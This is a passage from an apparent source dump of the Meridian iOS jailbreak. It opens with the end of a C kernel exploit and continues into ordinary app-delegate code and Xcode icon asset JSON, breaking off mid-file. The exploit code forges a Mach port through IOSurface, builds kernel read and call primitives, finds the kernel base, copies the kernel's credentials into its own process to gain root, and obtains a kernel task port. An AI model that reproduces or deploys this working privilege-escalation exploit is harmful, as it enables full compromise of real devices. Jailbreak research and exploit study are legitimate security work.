fakeport, MACH_NOTIFY_PORT_DESTROYED, 0, fakeport, MACH_MSG_TYPE_MAKE_SEND_ONCE, ¬ify); LOG("mach_port_request_notification(fakeport): %x, %s", notify, mach_error_string(ret)); if(ret != KERN_SUCCESS) { goto out; } #if 0 size = sizeof(response); ret = IOConnectCallStructMethod(client, IOSURFACE_GET_VALUE, request, sizeof(request), response, &size); LOG("getValue(%u): 0x%lx bytes, %s", idx, size, mach_error_string(ret)); if(ret != KERN_SUCCESS) { goto out; } if(size < DATA_SIZE + 0x10) { LOG("Response too short."); goto out; } kptr_t fakeport_addr = UNALIGNED_KPTR_DEREF(&((kport_t*)((uintptr_t)&response[4] + fakeport_off))->ip_pdrequest); #endif ret = readback_fakeport(client, idx, fakeport_off, pagesize, request, sizeof(request), resp, respsz, &myport); if(ret != KERN_SUCCESS) { goto out; } kptr_t fakeport_addr = myport.ip_pdrequest; if(!fakeport_addr) { LOG("Failed to leak fakeport address"); goto out; } LOG("fakeport addr: " ADDR, fakeport_addr); kptr_t fake_addr = fakeport_addr - fakeport_off; kport_request_t kreq = { .notify = { .port = 0, } }; kport.ip_requests = fakeport_addr + ((uintptr_t)&kport.ip_context - (uintptr_t)&kport) - ((uintptr_t)&kreq.name.size - (uintptr_t)&kreq); #if 0 UNALIGNED_COPY(&kport, fakeport_dictbuf, sizeof(kport)); ret = reallocate_buf(client, surface.data.id, idx, dict, sizeof(dict)); LOG("reallocate_buf: %s", mach_error_string(ret)); if(ret != KERN_SUCCESS) { goto out; } #endif ret = reallocate_fakeport(client, surface.data.id, idx, fakeport_off, pagesize, &kport, dict_small, dictsz_small); LOG("reallocate_fakeport: %s", mach_error_string(ret)); if(ret != KERN_SUCCESS) { goto out; } #define KREAD(addr, buf, len) \ do \ { \ for(size_t i = 0; i < ((len) + sizeof(uint32_t) - 1) / sizeof(uint32_t); ++i) \ { \ ret = my_mach_port_set_context(self, fakeport, (addr) + i * sizeof(uint32_t)); \ if(ret != KERN_SUCCESS) \ { \ LOG("mach_port_set_context: %s", mach_error_string(ret)); \ goto out; \ } \ mach_msg_type_number_t outsz = 1; \ ret = mach_port_get_attributes(self, fakeport, MACH_PORT_DNREQUESTS_SIZE, (mach_port_info_t)((uint32_t*)(buf) + i), &outsz); \ if(ret != KERN_SUCCESS) \ { \ LOG("mach_port_get_attributes: %s", mach_error_string(ret)); \ goto out; \ } \ } \ } while(0) kptr_t itk_space = 0; KREAD(realport_addr + ((uintptr_t)&kport.ip_receiver - (uintptr_t)&kport), &itk_space, sizeof(itk_space)); LOG("itk_space: " ADDR, itk_space); if(!itk_space) { goto out; } kptr_t self_task = 0; KREAD(itk_space + off->ipc_space_is_task, &self_task, sizeof(self_task)); LOG("self_task: " ADDR, self_task); if(!self_task) { goto out; } kptr_t IOSurfaceRootUserClient_port = 0; KREAD(self_task + off->task_itk_registered, &IOSurfaceRootUserClient_port, sizeof(IOSurfaceRootUserClient_port)); LOG("IOSurfaceRootUserClient port: " ADDR, IOSurfaceRootUserClient_port); if(!IOSurfaceRootUserClient_port) { goto out; } kptr_t IOSurfaceRootUserClient_addr = 0; KREAD(IOSurfaceRootUserClient_port + ((uintptr_t)&kport.ip_kobject - (uintptr_t)&kport), &IOSurfaceRootUserClient_addr, sizeof(IOSurfaceRootUserClient_addr)); LOG("IOSurfaceRootUserClient addr: " ADDR, IOSurfaceRootUserClient_addr); if(!IOSurfaceRootUserClient_addr) { goto out; } kptr_t IOSurfaceRootUserClient_vtab = 0; KREAD(IOSurfaceRootUserClient_addr, &IOSurfaceRootUserClient_vtab, sizeof(IOSurfaceRootUserClient_vtab)); LOG("IOSurfaceRootUserClient vtab: " ADDR, IOSurfaceRootUserClient_vtab); if(!IOSurfaceRootUserClient_vtab) { goto out; } // Unregister IOSurfaceRootUserClient port ret = mach_ports_register(self, NULL, 0); LOG("mach_ports_register: %s", mach_error_string(ret)); if(ret != KERN_SUCCESS) { goto out; } kptr_t vtab[VTAB_SIZE] = { 0 }; KREAD(IOSurfaceRootUserClient_vtab, vtab, sizeof(vtab)); kptr_t kbase = (vtab[off->vtab_get_retain_count] & ~(KERNEL_SLIDE_STEP - 1)) + KERNEL_HEADER_OFFSET; for(uint32_t magic = 0; 1; kbase -= KERNEL_SLIDE_STEP) { KREAD(kbase, &magic, sizeof(magic)); if(magic == KERNEL_MAGIC) { break; } } LOG("Kernel base: " ADDR, kbase); #define OFF(name) (off->name + (kbase - off->base)) kptr_t zone_map_addr = 0; KREAD(OFF(zone_map), &zone_map_addr, sizeof(zone_map_addr)); LOG("zone_map: " ADDR, zone_map_addr); if(!zone_map_addr) { goto out; } #ifdef __LP64__ vtab[off->vtab_get_external_trap_for_index] = OFF(rop_ldr_x0_x0_0x10); #else vtab[off->vtab_get_external_trap_for_index] = OFF(rop_ldr_r0_r0_0xc); #endif uint32_t faketask_off = fakeport_off < sizeof(ktask_t) ? UINT64_ALIGN_UP(fakeport_off + sizeof(kport_t)) : UINT64_ALIGN_DOWN(fakeport_off - sizeof(ktask_t)); void* faketask_buf = (void*)((uintptr_t)&dict_small[9] + faketask_off); ktask_t ktask; VOLATILE_BZERO32(&ktask, sizeof(ktask)); ktask.a.lock.data = 0x0; ktask.a.lock.type = 0x22; ktask.a.ref_count = 100; ktask.a.active = 1; ktask.a.map = zone_map_addr; ktask.b.itk_self = 1; #if 0 UNALIGNED_COPY(&ktask, faketask_buf, sizeof(ktask)); #endif VOLATILE_BCOPY32(&ktask, faketask_buf, sizeof(ktask)); kport.ip_bits = 0x80000002; // IO_BITS_ACTIVE | IOT_PORT | IKOT_TASK kport.ip_kobject = fake_addr + faketask_off; kport.ip_requests = 0; kport.ip_context = 0; #if 0 UNALIGNED_COPY(&kport, fakeport_dictbuf, sizeof(kport)); #endif if(fakeport_off + sizeof(kport_t) > pagesize) { size_t sz = pagesize - fakeport_off; VOLATILE_BCOPY32(&kport, (void*)((uintptr_t)&dict_small[9] + fakeport_off), sz); VOLATILE_BCOPY32((void*)((uintptr_t)&kport + sz), &dict_small[9], sizeof(kport) - sz); } else { VOLATILE_BCOPY32(&kport, (void*)((uintptr_t)&dict_small[9] + fakeport_off), sizeof(kport)); } #undef KREAD #if 0 ret = reallocate_buf(client, surface.data.id, idx, dict, sizeof(dict)); LOG("reallocate_buf: %s", mach_error_string(ret)); if(ret != KERN_SUCCESS) { goto out; } #endif shmemsz = pagesize; dict_small[6] = transpose(idx); ret = reallocate_buf(client, surface.data.id, idx, dict_small, dictsz_small); LOG("reallocate_buf: %s", mach_error_string(ret)); if(ret != KERN_SUCCESS) { goto out; } if(fakeport_off + sizeof(kport_t) > pagesize) { shmemsz *= 2; dict_small[6] = transpose(idx + 1); ret = reallocate_buf(client, surface.data.id, idx + 1, dict_small, dictsz_small); LOG("reallocate_buf: %s", mach_error_string(ret)); if(ret != KERN_SUCCESS) { goto out; } } vm_prot_t cur = 0, max = 0; sched_yield(); ret = mach_vm_remap(self, &shmem_addr, shmemsz, 0, VM_FLAGS_ANYWHERE | VM_FLAGS_RETURN_DATA_ADDR, fakeport, fake_addr, false, &cur, &max, VM_INHERIT_NONE); if(ret != KERN_SUCCESS) { LOG("mach_vm_remap: %s", mach_error_string(ret)); goto out; } *(uint32_t*)shmem_addr = 123; // fault page LOG("shmem_addr: 0x%016llx", shmem_addr); volatile kport_t *fakeport_buf = (volatile kport_t*)(shmem_addr + fakeport_off); uint32_t vtab_off = fakeport_off < sizeof(vtab) ? fakeport_off + sizeof(kport_t) : 0; vtab_off = UINT64_ALIGN_UP(vtab_off); kptr_t vtab_addr = fake_addr + vtab_off; LOG("vtab addr: " ADDR, vtab_addr); volatile kptr_t *vtab_buf = (volatile kptr_t*)(shmem_addr + vtab_off); for(volatile kptr_t *src = vtab, *dst = vtab_buf, *end = src + VTAB_SIZE; src < end; *(dst++) = *(src++)); #define MAXRANGES 5 struct { uint32_t start; uint32_t end; } ranges[MAXRANGES] = { { fakeport_off, (uint32_t)(fakeport_off + sizeof(kport_t)) }, { vtab_off, (uint32_t)(vtab_off + sizeof(vtab)) }, }; size_t numranges = 2; #define FIND_RANGE(var, size) \ do \ { \ if(numranges >= MAXRANGES) \ { \ LOG("FIND_RANGE(" #var "): ranges array too small"); \ goto out; \ } \ for(uint32_t i = 0; i < numranges;) \ { \ uint32_t end = var + (uint32_t)(size); \ if( \ (var >= ranges[i].start && var < ranges[i].end) || \ (end >= ranges[i].start && var < ranges[i].end) \ ) \ { \ var = UINT64_ALIGN_UP(ranges[i].end); \ i = 0; \ continue; \ } \ ++i; \ } \ if(var + (uint32_t)(size) > pagesize) \ { \ LOG("FIND_RANGE(" #var ") out of range: 0x%x-0x%x", var, var + (uint32_t)(size)); \ goto out; \ } \ ranges[numranges].start = var; \ ranges[numranges].end = var + (uint32_t)(size); \ ++numranges; \ } while(0) typedef volatile union { struct { // IOUserClient fields kptr_t vtab; uint32_t refs; uint32_t pad; // Gadget stuff kptr_t trap_ptr; // IOExternalTrap fields kptr_t obj; kptr_t func; uint32_t break_stuff; // idk wtf this field does, but it has to be zero or iokit_user_client_trap does some weird pointer mashing // OSSerializer::serialize kptr_t indirect[3]; } a; struct { char pad[OFFSET_IOUSERCLIENT_IPC]; int32_t __ipc; } b; } kobj_t; uint32_t fakeobj_off = 0; FIND_RANGE(fakeobj_off, sizeof(kobj_t)); kptr_t fakeobj_addr = fake_addr + fakeobj_off; LOG("fakeobj addr: " ADDR, fakeobj_addr); volatile kobj_t *fakeobj_buf = (volatile kobj_t*)(shmem_addr + fakeobj_off); VOLATILE_BZERO32(fakeobj_buf, sizeof(kobj_t)); fakeobj_buf->a.vtab = vtab_addr; fakeobj_buf->a.refs = 100; fakeobj_buf->a.trap_ptr = fakeobj_addr + ((uintptr_t)&fakeobj_buf->a.obj - (uintptr_t)fakeobj_buf); fakeobj_buf->a.break_stuff = 0; fakeobj_buf->b.__ipc = 100; fakeport_buf->ip_bits = 0x8000001d; // IO_BITS_ACTIVE | IOT_PORT | IKOT_IOKIT_CONNECT fakeport_buf->ip_kobject = fakeobj_addr; // First arg to KCALL can't be == 0, so we need KCALL_ZERO which indirects through OSSerializer::serialize. // That way it can take way less arguments, but well, it can pass zero as first arg. #define KCALL(addr, x0, x1, x2, x3, x4, x5, x6) \ ( \ fakeobj_buf->a.obj = (kptr_t)(x0), \ fakeobj_buf->a.func = (kptr_t)(addr), \ (kptr_t)IOConnectTrap6(fakeport, 0, (kptr_t)(x1), (kptr_t)(x2), (kptr_t)(x3), (kptr_t)(x4), (kptr_t)(x5), (kptr_t)(x6)) \ ) #define KCALL_ZERO(addr, x0, x1, x2) \ ( \ fakeobj_buf->a.obj = fakeobj_addr + ((uintptr_t)&fakeobj_buf->a.indirect - (uintptr_t)fakeobj_buf) - 2 * sizeof(kptr_t), \ fakeobj_buf->a.func = OFF(osserializer_serialize), \ fakeobj_buf->a.indirect[0] = (x0), \ fakeobj_buf->a.indirect[1] = (x1), \ fakeobj_buf->a.indirect[2] = (addr), \ (kptr_t)IOConnectTrap6(fakeport, 0, (kptr_t)(x2), 0, 0, 0, 0, 0) \ ) kptr_t kernel_task_addr = 0; int r = KCALL(OFF(copyout), OFF(kernel_task), &kernel_task_addr, sizeof(kernel_task_addr), 0, 0, 0, 0); LOG("kernel_task addr: " ADDR ", %s, %s", kernel_task_addr, errstr(r), mach_error_string(r)); if(r != 0 || !kernel_task_addr) { goto out; } kptr_t kernproc_addr = 0; r = KCALL(OFF(copyout), kernel_task_addr + off->task_bsd_info, &kernproc_addr, sizeof(kernproc_addr), 0, 0, 0, 0); LOG("kernproc addr: " ADDR ", %s, %s", kernproc_addr, errstr(r), mach_error_string(r)); if(r != 0 || !kernproc_addr) { goto out; } kptr_t kern_ucred = 0; r = KCALL(OFF(copyout), kernproc_addr + off->proc_ucred, &kern_ucred, sizeof(kern_ucred), 0, 0, 0, 0); LOG("kern_ucred: " ADDR ", %s, %s", kern_ucred, errstr(r), mach_error_string(r)); if(r != 0 || !kern_ucred) { goto out; } kptr_t self_proc = 0; r = KCALL(OFF(copyout), self_task + off->task_bsd_info, &self_proc, sizeof(self_proc), 0, 0, 0, 0); LOG("self_proc: " ADDR ", %s, %s", self_proc, errstr(r), mach_error_string(r)); if(r != 0 || !self_proc) { goto out; } kptr_t self_ucred = 0; r = KCALL(OFF(copyout), self_proc + off->proc_ucred, &self_ucred, sizeof(self_ucred), 0, 0, 0, 0); LOG("self_ucred: " ADDR ", %s, %s", self_ucred, errstr(r), mach_error_string(r)); if(r != 0 || !self_ucred) { goto out; } int olduid = getuid(); LOG("uid: %u", olduid); KCALL(OFF(kauth_cred_ref), kern_ucred, 0, 0, 0, 0, 0, 0); r = KCALL(OFF(copyin), &kern_ucred, self_proc + off->proc_ucred, sizeof(kern_ucred), 0, 0, 0, 0); LOG("copyin: %s", errstr(r)); if(r != 0 || !self_ucred) { goto out; } // Note: decreasing the refcount on the old cred causes a panic with "cred reference underflow", so... don't do that. LOG("stole the kernel's credentials"); setuid(0); // update host port int newuid = getuid(); LOG("uid: %u", newuid); if(newuid != olduid) { KCALL_ZERO(OFF(chgproccnt), newuid, 1, 0); KCALL_ZERO(OFF(chgproccnt), olduid, -1, 0); } host_t realhost = mach_host_self(); LOG("realhost: %x (host: %x)", realhost, host); uint32_t zm_task_off = 0; FIND_RANGE(zm_task_off, sizeof(ktask_t)); kptr_t zm_task_addr = fake_addr + zm_task_off; LOG("zm_task addr: " ADDR, zm_task_addr); volatile ktask_t *zm_task_buf = (volatile ktask_t*)(shmem_addr + zm_task_off); VOLATILE_BZERO32(zm_task_buf, sizeof(ktask_t)); zm_task_buf->a.lock.data = 0x0; zm_task_buf->a.lock.type = 0x22; zm_task_buf->a.ref_count = 100; zm_task_buf->a.active = 1; zm_task_buf->b.itk_self = 1; zm_task_buf->a.map = zone_map_addr; uint32_t km_task_off = 0; FIND_RANGE(km_task_off, sizeof(ktask_t)); kptr_t km_task_addr = fake_addr + km_task_off; LOG("km_task addr: " ADDR, km_task_addr); volatile ktask_t *km_task_buf = (volatile ktask_t*)(shmem_addr + km_task_off); VOLATILE_BZERO32(km_task_buf, sizeof(ktask_t)); km_task_buf->a.lock.data = 0x0; km_task_buf->a.lock.type = 0x22; km_task_buf->a.ref_count = 100; km_task_buf->a.active = 1; km_task_buf->b.itk_self = 1; r = KCALL(OFF(copyout), OFF(kernel_map), &km_task_buf->a.map, sizeof(km_task_buf->a.map), 0, 0, 0, 0); LOG("kernel_map: " ADDR ", %s", km_task_buf->a.map, errstr(r)); if(r != 0 || !km_task_buf->a.map) { goto out; } kptr_t ipc_space_kernel = 0; r = KCALL(OFF(copyout), IOSurfaceRootUserClient_port + ((uintptr_t)&kport.ip_receiver - (uintptr_t)&kport), &ipc_space_kernel, sizeof(ipc_space_kernel), 0, 0, 0, 0); LOG("ipc_space_kernel: " ADDR ", %s", ipc_space_kernel, errstr(r)); if(r != 0 || !ipc_space_kernel) { goto out; } #ifdef __LP64__ kmap_hdr_t zm_hdr = { 0 }; r = KCALL(OFF(copyout), zm_task_buf->a.map + off->vm_map_hdr, &zm_hdr, sizeof(zm_hdr), 0, 0, 0, 0); LOG("zm_range: " ADDR "-" ADDR ", %s", zm_hdr.start, zm_hdr.end, errstr(r)); if(r != 0 || !zm_hdr.start || !zm_hdr.end) { goto out; } if(zm_hdr.end - zm_hdr.start > 0x100000000) { LOG("zone_map is too big, sorry."); goto out; } kptr_t zm_tmp = 0; // macro scratch space # define ZM_FIX_ADDR(addr) \ ( \ zm_tmp = (zm_hdr.start & 0xffffffff00000000) | ((addr) & 0xffffffff), \ zm_tmp < zm_hdr.start ? zm_tmp + 0x100000000 : zm_tmp \ ) #else # define ZM_FIX_ADDR(addr) (addr) #endif kptr_t ptrs[2] = { 0 }; ptrs[0] = ZM_FIX_ADDR(KCALL(OFF(ipc_port_alloc_special), ipc_space_kernel, 0, 0, 0, 0, 0, 0)); ptrs[1] = ZM_FIX_ADDR(KCALL(OFF(ipc_port_alloc_special), ipc_space_kernel, 0, 0, 0, 0, 0, 0)); LOG("zm_port addr: " ADDR, ptrs[0]); LOG("km_port addr: " ADDR, ptrs[1]); KCALL(OFF(ipc_kobject_set), ptrs[0], zm_task_addr, IKOT_TASK, 0, 0, 0, 0); KCALL(OFF(ipc_kobject_set), ptrs[1], km_task_addr, IKOT_TASK, 0, 0, 0, 0); r = KCALL(OFF(copyin), ptrs, self_task + off->task_itk_registered, sizeof(ptrs), 0, 0, 0, 0); LOG("copyin: %s", errstr(r)); if(r != 0) { goto out; } mach_msg_type_number_t mapsNum = 0; ret = mach_ports_lookup(self, &maps, &mapsNum); LOG("mach_ports_lookup: %s", mach_error_string(ret)); if(ret != KERN_SUCCESS) { goto out; } LOG("zone_map port: %x", maps[0]); LOG("kernel_map port: %x", maps[1]); if(!MACH_PORT_VALID(maps[0]) || !MACH_PORT_VALID(maps[1])) { goto out; } // Clean out the pointers without dropping refs ptrs[0] = ptrs[1] = 0; r = KCALL(OFF(copyin), ptrs, self_task + off->task_itk_registered, sizeof(ptrs), 0, 0, 0, 0); LOG("copyin: %s", errstr(r)); if(r != 0) { goto out; } mach_vm_address_t remap_addr = 0; ret = mach_vm_remap(maps[1], &remap_addr, off->sizeof_task, 0, VM_FLAGS_ANYWHERE | VM_FLAGS_RETURN_DATA_ADDR, maps[0], kernel_task_addr, false, &cur, &max, VM_INHERIT_NONE); LOG("mach_vm_remap: %s", mach_error_string(ret)); if(ret != KERN_SUCCESS) { goto out; } LOG("remap_addr: 0x%016llx", remap_addr); ret = mach_vm_wire(realhost, maps[1], remap_addr, off->sizeof_task, VM_PROT_READ | VM_PROT_WRITE); LOG("mach_vm_wire: %s", mach_error_string(ret)); if(ret != KERN_SUCCESS) { goto out; } kptr_t newport = ZM_FIX_ADDR(KCALL(OFF(ipc_port_alloc_special), ipc_space_kernel, 0, 0, 0, 0, 0, 0)); LOG("newport: " ADDR, newport); KCALL(OFF(ipc_kobject_set), newport, remap_addr, IKOT_TASK, 0, 0, 0, 0); KCALL(OFF(ipc_port_make_send), newport, 0, 0, 0, 0, 0, 0); r = KCALL(OFF(copyin), &newport, OFF(realhost) + off->realhost_special + sizeof(kptr_t) * 4, sizeof(kptr_t), 0, 0, 0, 0); LOG("copyin: %s", errstr(r)); if(r != 0) { goto out; } task_t kernel_task = MACH_PORT_NULL; ret = host_get_special_port(realhost, HOST_LOCAL_NODE, 4, &kernel_task); LOG("kernel_task: %x, %s", kernel_task, mach_error_string(ret)); if(ret != KERN_SUCCESS || !MACH_PORT_VALID(kernel_task)) { goto out; } if(callback) { ret = callback(kernel_task, kbase, cb_data); if(ret != KERN_SUCCESS) { LOG("callback returned error: %s", mach_error_string(ret)); goto out; } } retval = KERN_SUCCESS; out:; LOG("Cleaning up..."); usleep(100000); // Allow logs to propagate if(maps) { RELEASE_PORT(maps[0]); RELEASE_PORT(maps[1]); } RELEASE_PORT(fakeport); for(size_t i = 0; i < NUM_AFTER; ++i) { RELEASE_PORT(after[i]); } RELEASE_PORT(port); for(size_t i = 0; i < NUM_BEFORE; ++i) { RELEASE_PORT(before[i]); } RELEASE_PORT(realport); RELEASE_PORT(stuffport); RELEASE_PORT(client); my_mach_zone_force_gc(host); if(shmem_addr != 0) { _kernelrpc_mach_vm_deallocate_trap(self, shmem_addr, shmemsz); shmem_addr = 0; } if(dict_prep) { free(dict_prep); } if(dict_big) { free(dict_big); } if(dict_small) { free(dict_small); } if(resp) { free(resp); } // Pass through error code, if existent if(retval != KERN_SUCCESS && ret != KERN_SUCCESS) { retval = ret; } return retval; } ================================================ FILE: Meridian/Meridian/views/AppDelegate.h ================================================ // // AppDelegate.h // Meridian // // Created by Ben Sparkes on 22/12/2017. // Copyright © 2017 Ben Sparkes. All rights reserved. // #import @interface AppDelegate : UIResponder @property (strong, nonatomic) UIWindow *window; @end ================================================ FILE: Meridian/Meridian/views/AppDelegate.m ================================================ // // AppDelegate.m // Meridian // // Created by Ben Sparkes on 22/12/2017. // Copyright © 2017 Ben Sparkes. All rights reserved. // #import "AppDelegate.h" @interface AppDelegate () @end @implementation AppDelegate - (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions { // Override point for customization after application launch. return YES; } - (void)applicationWillResignActive:(UIApplication *)application { // Sent when the application is about to move from active to inactive state. This can occur for certain types of temporary interruptions (such as an incoming phone call or SMS message) or when the user quits the application and it begins the transition to the background state. // Use this method to pause ongoing tasks, disable timers, and invalidate graphics rendering callbacks. Games should use this method to pause the game. } - (void)applicationDidEnterBackground:(UIApplication *)application { // Use this method to release shared resources, save user data, invalidate timers, and store enough application state information to restore your application to its current state in case it is terminated later. // If your application supports background execution, this method is called instead of applicationWillTerminate: when the user quits. } - (void)applicationWillEnterForeground:(UIApplication *)application { // Called as part of the transition from the background to the active state; here you can undo many of the changes made on entering the background. } - (void)applicationDidBecomeActive:(UIApplication *)application { // Restart any tasks that were paused (or not yet started) while the application was inactive. If the application was previously in the background, optionally refresh the user interface. } - (void)applicationWillTerminate:(UIApplication *)application { // Called when the application is about to terminate. Save data if appropriate. See also applicationDidEnterBackground:. } @end ================================================ FILE: Meridian/Meridian/views/Assets.xcassets/AppIcon-Blue.appiconset/Contents.json ================================================ { "images" : [ { "size" : "20x20", "idiom" : "iphone", "filename" : "Icon-App-20x20@2x.png", "scale" : "2x" }, { "size" : "20x20", "idiom" : "iphone", "filename" : "Icon-App-20x20@3x.png", "scale" : "3x" }, { "size" : "29x29", "idiom" : "iphone", "filename" : "Icon-App-29x29@1x.png", "scale" : "1x" }, { "size" : "29x29", "idiom" : "iphone", "filename" : "Icon-App-29x29@2x.png", "scale" : "2x" }, { "size" : "29x29", "idiom" : "iphone", "filename" : "Icon-App-29x29@3x.png", "scale" : "3x" }, { "size" : "40x40", "idiom" : "iphone", "filename" : "Icon-App-40x40@2x.png", "scale" : "2x" }, { "size" : "40x40", "idiom" : "iphone", "filename" : "Icon-App-40x40@3x.png", "scale" : "3x" }, { "size" : "57x57", "idiom" : "iphone", "filename" : "Icon-App-57x57@1x.png", "scale" : "1x" }, { "size" : "57x57", "idiom" : "iphone", "filename" : "Icon-App-57x57@2x.png", "scale" : "2x" }, { "size" : "60x60", "idiom" : "iphone", "filename" : "Icon-App-60x60@2x.png", "scale" : "2x" }, { "size" : "60x60", "idiom" : "iphone", "filename" : "Icon-App-60x60@3x.png", "scale" : "3x" }, { "size" : "20x20", "idiom" : "ipad", "filename" : "Icon-App-20x20@1x.png", "scale" : "1x" }, { "size" : "20x20", "idiom" : "ipad", "filename" : "Icon-App-20x20@2x.png", "scale" : "2x" }, { "size" : "29x29", "idiom" : "ipad", "filename" : "Icon-App-29x29@1x.png", "scale" : "1x" }, { "size" : "29x29", "idiom" : "ipad", "filename" : "Icon-App-29x29@2x.png", "scale" : "2x" }, { "size" : "40x40", "idiom" : "ipad", "filename" : "Icon-App-40x40@1x.png", "scale" : "1x" }, { "size" : "40x40", "idiom" : "ipad", "filename" : "Icon-App-40x40@2x.png", "scale" : "2x" }, { "size" : "50x50", "idiom" : "ipad", "filename" : "Icon-Small-50x50@1x.png", "scale" : "1x" }, { "size" : "50x50", "idiom" : "ipad", "filename" : "Icon-Small-50x50@2x.png", "scale" : "2x" }, { "size" : "72x72", "idiom" : "ipad", "filename" : "Icon-App-72x72@1x.png", "scale" : "1x" }, { "size" : "72x72", "idiom" : "ipad", "filename" : "Icon-App-72x72@2x.png", "scale" : "2x" }, { "size" : "76x76", "idiom" : "ipad", "filename" : "Icon-App-76x76@1x.png", "scale" : "1x" }, { "size" : "76x76", "idiom" : "ipad", "filename" : "Icon-App-76x76@2x.png", "scale" : "2x" }, { "size" : "83.5x83.5", "idiom" : "ipad", "filename" : "Icon-App-83.5x83.5@2x.png", "scale" : "2x" }, { "size" : "1024x1024", "idiom" : "ios-marketing", "filename" : "ItunesArtwork@2x.png", "scale" : "1x" } ], "info" : { "version" : 1, "author" : "xcode" } } ================================================ FILE: Meridian/Meridian/views/Assets.xcassets/AppIcon-White.appiconset/Contents.json ================================================ { "images" : [ { "size" : "20x20", "idiom" : "iphone", "filename" : "Icon-App-20x20@2x.png", "scale" : "2x" }, { "size" : "20x20", "idiom" : "iphone", "filename" : "Icon-App-20x20@3x.png", "scale" : "3x" }, { "size" : "29x29", "idiom" : "iphone", "filename" : "Icon-App-29x29@1x.png", "scale" : "1x" }, { "size" : "29x29", "idiom" : "iphone", "filename" : "Icon-App-29x29@2x.png", "scale" : "2x" }, { "size" : "29x29", "idiom" : "iphone", "filename" : "Icon-App-29x29@3x.png", "scale" : "3x" }, { "size" : "40x40", "idiom" : "iphone", "filename" : "Icon-App-40x40@2x.png", "scale" : "2x" }, { "size" : "40x40", "idiom" : "iphone", "filename" : "Icon-App-40x40@3x.png", "scale" : "3x" }, { "size" : "57x57", "idiom" : "iphone", "filename" : "Icon-App-57x57@1x.png", "scale" : "1x" }, { "size" : "57x57", "idiom" : "iphone", "filename" : "Icon-App-57x57@2x.png", "scale" : "2x" }, { "size" : "60x60", "idiom" : "iphone", "filename" : "Icon-App-60x60@2x.png", "scale" : "2x" }, { "size" : "60x60", "idiom" : "iphone", "filename" : "Icon-App-60x60@3x.png", "scale" : "3x" }, { "size" : "20x20", "idiom" : "ipad", "filename" : "Icon-App-20x20@1x.png", "scale" : "1x" }, { "size" : "20x20", "idiom" : "ipad", "filename" : "Icon-App-20x20@2x.png", "scale" : "2x" }, { "size" : "29x29", "idiom" : "ipad", "filename" : "Icon-App-29x29@1x.png", "scale" : "1x" }, { "size" : "29x29", "idiom" : "ipad", "filename" : "Icon-App-29x29@2x.png", "scale" : "2x" }, { "size" : "40x40", "idiom" : "ipad", "filename" : "Icon-App-40x40@1x.png", "scale" : "1x" }, { "size" : "40x40", "idiom" : "ipad", "filename" : "Icon-App-40x40@2x.png", "scale" : "2x" }, { "size" : "50x50", "idiom" : "ipad", "filename" : "Icon-Small-50x50@1x.png", "scale" : "1x" }, { "size" : "50x50", "idiom" : "ipad", "filename" : "Icon-Small-50x50@2x.png", "scale" : "2x" }, { "size" : "72x72", "idiom" : "ipad", "filename" : "Icon-App-72x72@1x.png", "scale" : "1x" }, { "size" : "72x72", "idiom" : "ipad", "filename" : "Icon-App-72x72@2x.png", "scale" : "2x" }, { "size" : "76x76", "idiom" : "ipad", "filename" : "Icon-App-76x76@1x.png", "scale" : "1x" }, { "size" : "76x76", "idiom" : "ipad", "filename" : "Icon-App-76x76@2x.png", "scale" : "2x" }, { "size" : "83.5x83.5", "idiom" : "ipad", "filename" : "Icon-App-83.5x83.5@2x.png", "scale" : "2x" }, { "size" : "1024x1024", "idiom" : "ios-marketing", "filename" : "ItunesArtwork@2x.png", "scale" : "1x" } ], "info" : { "version" : 1, "author" : "xcode" } } ================================================ FILE: Meridian/Meridian/views/Assets.xcassets/Contents.json ================================================ { "info" : { "version" : 1, "author" : "xcode" } } ================================================ FILE: Meridian/Meridian/views/Assets.xcassets/Icons/Contents.json ================================================ { "info" : { "version" : 1, "author" : "xcode" } } ================================================ FILE: Meridian/Meridian/views/Assets.xcassets/Icons/archive.imageset/Contents.json ================================================ { "images" : [ { "idiom" : "universal", "scale" : "1x" }, { "idiom" : "universal", "filename" : "archive@2x.png", "scale" : "2x" }, { "idiom" : "universal", "filename" : "archive@3x.png", "scale" : "3x" } ], "info" : { "version" : 1, "author" : "xcode" }, "properties" : { "template-rendering-intent" : "template" } } ================================================ FILE: Meridian/Meridian/views/Assets.xcassets/Icons/console.imageset/Contents.json ================================================ { "images" : [ { "idiom" : "universal", "scale" : "1x" }, { "idiom" : "universal", "filename" : "console@2x.png", "scale" : "2x" }, { "idiom" : "universal", "filename" : "console@3x.png", "scale" : "3x" } ], "info" : { "version" : 1, "author" : "xcode" }, "properties" : { "template-rendering-intent" : "template" } } ================================================ FILE: Meridian/Meridian/views/Assets.xcassets/Icons/gears.imageset/Contents.json ================================================ { "images" : [ { "idiom" : "universal", "scale" : "1x" }, { "idiom" : "universal", "filename" : "gears@2x.png", "scale" : "2x" }, { "idiom" : "universal", "filename" : "gears@3x.png", "scale" : "3x" } ], "info" : { "version" : 1, "author" : "xcode" }, "properties" : { "template-rendering-intent" : "template" } } ================================================ FILE: Meridian/Meridian/views/Assets.xcassets/Icons/hammer.imageset/Contents.json ================================================ { "images" : [ { "idiom" : "universal", "scale" : "1x" }, { "idiom" : "universal", "filename" : "hammer@2x.png", "scale" : "2x" }, { "idiom" : "universal", "filename" : "hammer@3x.png", "scale" : "3x" } ], "info" : { "version" : 1, "author" : "xcode" }, "properties" : { "template-rendering-intent" : "template" } } ================================================ FILE: Meridian/Meridian/views/Assets.xcassets/Icons/handshake.imageset/Contents.json ================================================ { "images" : [ { "idiom" : "universal", "scale" : "1x" }, { "idiom" : "universal", "filename" : "handshake@2x.png", "scale" : "2x" }, { "idiom" : "universal", "filename" : "handshake@3x.png", "scale" : "3x" } ], "info" : { "version" : 1, "author" : "xcode" }, "properties" : { "template-rendering-intent" : "template" } } ================================================ FILE: Meridian/Meridian/views/Assets.xcassets/Icons/jail.imageset/Contents.json ================================================ { "images" : [ { "idiom" : "universal", "scale" : "1x" }, { "idiom" : "universal", "filename" : "jail@2x.png", "scale" : "2x" }, { "idiom" : "universal", "filename" : "jail@3x.png", "scale" : "3x" } ], "info" : { "version" : 1, "author" : "xcode" }, "properties" : { "template-rendering-intent" : "template" } } ================================================ FILE: Meridian/Meridian/views/Assets.xcassets/Icons/ladybug.imageset/Contents.json ================================================ { "images" : [ { "idiom" : "universal", "scale" : "1x" }, { "idiom" : "universal", "filename" : "ladybug@2x.png", "scale" : "2x" }, { "idiom" : "universal", "filename" : "ladybug@3x.png", "scale" : "3x" } ], "info" : { 